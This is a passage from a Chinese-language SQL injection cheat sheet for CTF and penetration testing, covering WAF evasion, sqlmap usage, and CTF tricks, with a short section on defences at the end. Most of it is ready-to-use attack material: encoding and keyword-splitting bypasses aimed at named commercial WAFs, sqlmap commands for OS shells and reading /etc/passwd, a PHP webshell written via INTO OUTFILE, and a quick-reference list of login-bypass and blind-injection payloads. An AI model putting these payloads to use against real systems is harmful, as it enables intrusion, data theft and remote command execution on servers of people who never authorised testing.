SELECT%a0username%a0FROM%a0users    -- 非断行空格 (%a0)
SELECT%0cusername%0cFROM%0cusers    -- Form feed (%0c)

-- 内联注释(MySQL 条件注释)
SELECT /*!32302 username*/ FROM users

6.3 关键字拆分与绕过

-- 双写(适用于 WAF 删除关键字后拼接的情况)
UNUNIONION SELSELECTECT 1,2,3
-- WAF 删除一次 union select 后得到:UNION SELECT 1,2,3

-- 注释截断
UN/**/ION/**/SE/**/LECT 1,2,3
UN--+%0aION SE--+%0aLECT 1,2,3

-- 等价替换
AND → &&、OR → ||
= → LIKE、= → REGEXP、= → IN(value)
UNION SELECT → UNION ALL SELECT
SLEEP → BENCHMARK

-- 括号绕过
(SELECT(1))
UNION(SELECT(1),(2),(3))

6.4 编码绕过

-- URL 编码
%27 = '    %20 = 空格    %23 = #
UNION%20SELECT%201,2,3-- -
UNION%2520SELECT%25201,2,3-- -   (双重 URL 编码)

-- HEX 编码(字符串)
SELECT * FROM users WHERE username=0x61646d696e    -- 'admin'

-- HTML 实体(仅在特定场景)
&#x27; = '

-- Unicode 编码(部分数据库/框架支持)
\u0027 = '
\u0055NION \u0053ELECT   ( U = \u0055, S = \u0053)

-- Base64(部分框架自动解码参数)
id=MSBVTklPTiBTRUxFQ1QgMSwyLDM=  (1 UNION SELECT 1,2,3 的Base64)

6.5 等价函数与替换

-- 字符串截取
SUBSTRING() → SUBSTR() → MID() → LEFT() → RIGHT()
SUBSTRING(str,1,1) → LEFT(str,1) → MID(str,1,1)

-- 字符串连接
CONCAT(a,b) → CONCAT_WS(',',a,b) → a||b(SQLite/Oracle)

-- ASCII 转换
ASCII(char) → ORD(char) → HEX(char)

-- 条件判断
IF(a,b,c) → CASE WHEN a THEN b ELSE c END → IFNULL(nullif(a,a),c)

-- 延时
SLEEP(5) → BENCHMARK(50000000,MD5(1))
SLEEP(5) → (SELECT * FROM (SELECT(SLEEP(5)))x)

-- 注释
-- →  #  →  /**/  →  /*!*/

-- 逗号绕过(UNION 无逗号)
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c

-- 逗号绕过(substr)
SUBSTR(database() FROM 1 FOR 1)     -- 替代 SUBSTR(database(),1,1)
LIMIT 1 OFFSET 0                    -- 替代 LIMIT 0,1

6.6 HTTP 层面绕过

-- 修改 Content-Type
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
-- 部分 WAF 只处理标准 Content-Type,编码转换后 WAF 失效

-- HTTP 分块传输(Chunked Transfer)
POST /login HTTP/1.1
Transfer-Encoding: chunked
-- 分块发送,部分 WAF 不重组分块数据

-- 超长 Header 淹没 WAF(绕过检测长度限制)
-- 添加大量无效 Header,超出 WAF 检测范围

-- 参数污染(HPP)
?id=1&id=2 UNION SELECT 1,2,3
-- 某些框架取第一个/最后一个/所有参数拼接,WAF 只检查第一个

6.7 特定数据库绕过技巧

MySQL 特有绕过

-- 使用条件注释(/*!*/)
/*!UNION*/ /*!SELECT*/ 1,2,3
/*!50000 UNION*/ /*!50000 SELECT*/ 1,2,3
-- /*!50000 xxx */ 表示 MySQL 版本 >= 5.00.00 时执行

-- 负号(-)起始
SELECT -1 UNION SELECT 1,2,3

-- 括号绕过部分关键字过滤
(UNION)(SELECT 1,2,3)
UNION(SELECT(1),(database()),(3))

-- 管道符
1 | 0 UNION SELECT 1,2,3

科学计数法绕过

-- 数字型注入点,用科学计数法表示
?id=1e0 UNION SELECT 1,2,3
?id=1.0 UNION SELECT 1,2,3
?id=\N UNION SELECT 1,2,3     -- \N 在 MySQL 中代表 NULL

6.8 Tamper 脚本使用(SQLMap)

# SQLMap 常用 tamper 脚本
sqlmap -u "http://target.com/?id=1" --tamper=<script1>,<script2>

# 常用 tamper 说明
# space2comment     空格 → /**/
# space2plus        空格 → +
# randomcase        随机大小写
# between           > → NOT BETWEEN 0 AND
# charencode        URL 编码关键字符
# chardoubleencode  双重 URL 编码
# equaltolike       = → LIKE
# greatest          > → GREATEST
# ifnull2ifisnull   IFNULL → IF(ISNULL
# modsecurityzeroversioned  在注释中添加版本号
# nonrecursivereplacement   双写关键字
# percentage        每个字符前加 %
# unionalltounion   UNION ALL SELECT → UNION SELECT
# unmagicquotes     宽字节绕过 GBK
# versionedmorekeywords   /*!xxx*/ 包裹关键字
# apostrophemask    ' → %EF%BC%87(全角)

# 组合使用示例(绕过常见 WAF)
sqlmap -u "http://target.com/?id=1" \
  --tamper=space2comment,randomcase,charencode \
  --random-agent \
  --delay=1 \
  --level=5 \
  --risk=3

6.9 常见 WAF 特征与绕过思路

WAF 产品 检测特点 常用绕过
阿里云盾 关键字检测,正则匹配 注释 + 大小写 + 编码
ModSecurity 规则集检测,多特征 分块传输 + 参数污染
Cloudflare 语义分析,机器学习 等价替换 + 极端编码
AWS WAF 正则 + 规则 URL 编码层叠
安全狗 关键字匹配 内联注释 + 双写

七、自动化工具使用

7.1 SQLMap 完整指南

# ========== 基础用法 ==========

# GET 参数注入
sqlmap -u "http://target.com/page?id=1"

# POST 参数注入
sqlmap -u "http://target.com/login" --data "user=admin&pass=123"

# 指定注入参数
sqlmap -u "http://target.com/page?id=1&page=2" -p id

# 使用请求文件(Burp 导出)
sqlmap -r request.txt

# Cookie 注入
sqlmap -u "http://target.com/" --cookie "id=1" -p id

# ========== 探测选项 ==========

# 探测等级(1-5,越高越全面但越慢)
--level=5

# 风险等级(1-3,越高越危险)
--risk=3

# 指定注入技术
--technique=BEUSTQ     # B布尔 E报错 U联合 S堆叠 T时间 Q内联查询(全部)
--technique=U          # 仅使用 UNION
--technique=BT         # 布尔+时间

# 指定数据库类型(加速检测)
--dbms=mysql
--dbms=postgresql
--dbms=mssql

# 指定 UNION 列数(已知时加速)
--union-cols=3

# 指定 UNION 字符
--union-char=null

# ========== 数据提取 ==========

# 获取所有数据库
--dbs

# 获取当前数据库
--current-db

# 获取当前用户
--current-user

# 获取指定数据库的表
-D ctfdb --tables

# 获取指定表的列
-D ctfdb -T users --columns

# 转储数据
-D ctfdb -T users --dump

# 转储所有数据库
--dump-all

# 仅转储指定列
-D ctfdb -T users -C username,password --dump

# 指定行范围
--start=1 --stop=10

# ========== 高级功能 ==========

# 获取操作系统 Shell
--os-shell

# 执行命令
--os-cmd="whoami"

# 获取 SQL Shell
--sql-shell

# 读取文件
--file-read="/etc/passwd"

# 写入文件(需 FILE 权限)
--file-write="shell.php" --file-dest="/var/www/html/shell.php"

# ========== 代理与伪装 ==========

# 使用 HTTP 代理
--proxy="http://127.0.0.1:8080"

# 随机 User-Agent
--random-agent

# 设置延迟(秒)
--delay=1

# 添加自定义头
--headers="X-Custom: value\nX-Forwarded-For: 1.2.3.4"

# 设置 Referer
--referer="http://google.com"

# 超时设置
--timeout=30

# ========== 认证 ==========

# HTTP Basic 认证
--auth-type=basic --auth-cred="user:pass"

# 使用 Session Cookie
--cookie="PHPSESSID=xxxxx"

# ========== 输出 ==========

# 详细模式(-v 0-6)
-v 3

# 保存结果
--output-dir="/tmp/sqlmap_output"

# ========== 常用组合示例 ==========

# 完整 CTF 典型命令
sqlmap -u "http://target.com/?id=1" \
  --dbms=mysql \
  --technique=BEUST \
  --level=3 --risk=2 \
  --random-agent \
  --tamper=space2comment,randomcase \
  --dbs \
  -v 2

# 获取 flag 一条龙
sqlmap -u "http://target.com/?id=1" \
  -D ctfdb -T flag -C flag_value \
  --dump \
  --batch   # 自动回答所有提示

7.2 手工注入辅助工具

# Hackbar(浏览器插件)
# 快速修改 URL 参数和 POST 数据

# Burp Suite
# Repeater: 手工重放修改请求
# Intruder: 自动化爆破(暴力枚举字符)
# Logger: 记录所有请求

# ghauri - 替代 SQLMap 的现代工具
pip3 install ghauri
ghauri -u "http://target.com/?id=1" --dbs

# BBQSQL - 盲注框架
pip install bbqsql
bbqsql  # 交互式配置

# dsss - 简洁 SQL 注入检测脚本
python3 dsss.py -u "http://target.com/?id=1"

八、CTF 实战思路与技巧

8.1 快速判断注入类型

发现参数 → 
    ↓
测试 '、"、`)
    ↓
有报错信息?
    ├── Yes → 尝试报错注入(extractvalue/updatexml)
    └── No  → 
            ↓
        布尔测试(AND 1=1 vs AND 1=2)
            ├── 有页面差异 → 布尔盲注 / 联合注入
            │                尝试 ORDER BY 确认列数 → 尝试 UNION
            └── 无页面差异 →
                    ↓
                时间测试(AND SLEEP(3))
                    ├── 有延迟 → 时间盲注
                    └── 无延迟 → 尝试不同语法 / 其他参数

8.2 常见 CTF 特殊场景

过滤了 information_schema

-- MySQL 5.7+ 使用 sys 数据库
SELECT table_name FROM sys.schema_table_statistics;
SELECT * FROM sys.x$ps_schema_table_statistics_io;

-- MySQL 8.0+ 使用 innodb 内置表
SELECT table_name FROM mysql.innodb_table_stats;

-- 使用 join ... using() 猜列名(无需 information_schema)
-- 前提:知道表名
SELECT * FROM users JOIN users AS u USING(id,username,password);
-- 报错:Duplicate column name 'xxx' → 泄露列名

-- 无列名注入(使用子查询别名)
SELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;
-- 第三列(序号3)即为第三个字段的值

过滤了引号

-- HEX 编码字符串
SELECT * FROM users WHERE username=0x61646d696e;   -- 'admin'

-- CHAR() 函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110);

-- 反引号(仅用于列名/表名,不适合值)
SELECT `username` FROM `users`;

-- 数字强转
SELECT * FROM users WHERE id=1;   -- id 为数字时无需引号

过滤了空格

-- 注释符
SELECT/**/username/**/FROM/**/users

-- 括号
SELECT(username)FROM(users)

-- 制表符、换行等
SELECT%09username%0aFROM%0dusers

-- 括号嵌套
(SELECT(username)FROM(users)WHERE(id=1))

过滤了 UNION、SELECT 等关键字

-- 双写(WAF 删除关键字后拼接)
UNUNIONION SESELECTLECT 1,2,3

-- 大小写
UnIoN SeLeCt 1,2,3

-- 内联注释
UN/**/ION SE/**/LECT 1,2,3

-- URL 编码
%55NION %53ELECT 1,2,3
-- U = %55, S = %53

-- 换行
UN%0aION%0aSE%0aLECT

过滤了逗号

-- UNION 无逗号
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT database())b JOIN (SELECT version())c

-- substr 无逗号
SUBSTR(username FROM 1 FOR 1)   -- 替代 SUBSTR(username,1,1)

-- limit 无逗号
LIMIT 1 OFFSET 0   -- 替代 LIMIT 0,1

-- case when 替代 if
CASE WHEN (条件) THEN SLEEP(3) ELSE 0 END

字符长度限制

-- 分段读取(每次读取部分)
SUBSTR(database(),1,3)
SUBSTR(database(),4,3)
SUBSTR(database(),7,3)

-- 使用 MID
MID(database(),1,3)

-- 配合 LENGTH 先确定长度
LENGTH(database())

8.3 特殊库/表/列名获取技巧

-- 若知道表名,猜列名(join using 报错法)
SELECT * FROM (SELECT * FROM users a JOIN users b)c;
-- 报错:Duplicate column name 'id'(泄露第一个列名)

SELECT * FROM (SELECT * FROM users a JOIN users b USING(id))c;
-- 报错:Duplicate column name 'username'(泄露第二个列名)

SELECT * FROM (SELECT * FROM users a JOIN users b USING(id,username))c;
-- 继续泄露下一列名

-- 利用别名(无需知道列名,按位置读取)
SELECT f1,f2,f3 FROM (SELECT 1 f1,2 f2,3 f3 UNION SELECT * FROM users)t;
-- f1/f2/f3 对应 users 表第1/2/3列的值

8.4 读取 Flag 的常见路径

-- 常见 flag 表名
flag, Flag, FLAG, flag_table, ctf_flag, secret, answer

-- 常见 flag 列名
flag, Flag, FLAG, value, flag_value, secret, data

-- 一次性扫描所有包含 flag 的表
SELECT concat(table_schema,'.',table_name) 
FROM information_schema.tables 
WHERE table_name LIKE '%flag%';

-- 扫描所有库中包含 flag 字符的数据
SELECT concat(table_schema,'.',table_name,'.',column_name)
FROM information_schema.columns 
WHERE column_name LIKE '%flag%';

8.5 获取 WebShell 到命令执行

-- MySQL 写 WebShell
SELECT '<?php system($_GET["cmd"]);?>' 
INTO OUTFILE '/var/www/html/shell.php';

-- 验证路径(读取已知文件)
SELECT load_file('/var/www/html/index.php');

-- 常见 Web 路径
/var/www/html/
/var/www/html/uploads/
/var/www/html/images/
/home/www/web/
/usr/share/nginx/html/
C:/inetpub/wwwroot/
C:/xampp/htdocs/
C:/wamp/www/

-- 通过报错获取 Web 路径
-- 很多错误信息会包含文件路径

九、防御措施

9.1 根本防御:参数化查询

// PHP PDO(推荐)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

// PHP MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
# Python (psycopg2 / sqlite3)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))

# Python SQLAlchemy ORM(自动参数化)
User.query.filter_by(username=username, password=password).first()
// Java PreparedStatement
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

9.2 输入验证与过滤

// 类型强制转换
$id = (int)$_GET['id'];  // 强制整数,根本无法注入

// 白名单验证
$allowed_sort = ['username', 'email', 'created_at'];
$sort = in_array($_GET['sort'], $allowed_sort) ? $_GET['sort'] : 'id';

// 针对必须拼接的场景(如列名/表名),使用白名单
$allowed_tables = ['users', 'articles', 'comments'];
if (!in_array($table, $allowed_tables)) die('Invalid table');

9.3 最小权限原则

-- 为 Web 应用创建最小权限用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- 禁止 DROP、CREATE、FILE 等危险权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';

9.4 错误信息处理

// 生产环境关闭错误显示
error_reporting(0);
ini_set('display_errors', 0);

// 使用自定义错误页面
try {
    $stmt = $pdo->prepare($sql);
    $stmt->execute($params);
} catch (PDOException $e) {
    // 记录到日志,不显示给用户
    error_log($e->getMessage());
    die("数据库错误,请稍后再试");
}

9.5 WAF 与监控

部署 WAF(ModSecurity、云 WAF 等)
配置 SQL 注入规则(OWASP CRS)
启用数据库审计日志
异常查询告警(如含有 UNION、SLEEP 等的查询)
定期进行安全扫描(SQLMap、AWVS 等)

9.6 防御检查清单

✅ 所有 SQL 查询使用参数化查询或 ORM
✅ 用户输入进行类型验证(整数、枚举等)
✅ 数据库用户使用最小权限
✅ 关闭数据库错误信息回显
✅ 生产环境关闭 FILE 权限和 xp_cmdshell
✅ 部署 WAF 并定期更新规则
✅ 定期安全扫描与渗透测试
✅ 数据库密码强度与定期更换
✅ 启用数据库操作审计日志
✅ 对列名/表名动态拼接使用白名单

快速参考手册

注入类型选择决策树

页面有数据回显?
├── 是 → UNION 注入 → ORDER BY 确定列数 → UNION SELECT
└── 否 → 有报错信息?
          ├── 是 → 报错注入 → extractvalue / updatexml / floor
          └── 否 → 布尔差异?
                    ├── 是 → 布尔盲注 → 逐字符二分法
                    └── 否 → 时间盲注 → IF(cond,SLEEP(3),0)
                              (仍无效 → 带外注入 / 换注入点)

常用 Payload 速查

-- 万能密码
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x

-- 列数探测
ORDER BY 1-- 到 ORDER BY N-- 二分法

-- 数据库指纹
@@version / version() / @@global.version_compile_os

-- 联合注入模板
' UNION SELECT null,null,...,null-- -
' UNION SELECT 1,database(),version()-- -

-- 报错模板
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -

-- 盲注模板
' AND ascii(substr(database(),1,1))>64-- -
' AND IF(ascii(substr(database(),1,1))=99,SLEEP(3),0)-- -

-- 写 Shell
' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -

⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。SQL 注入攻击未经授权属于违法行为,请在合法合规的环境中学习与实践。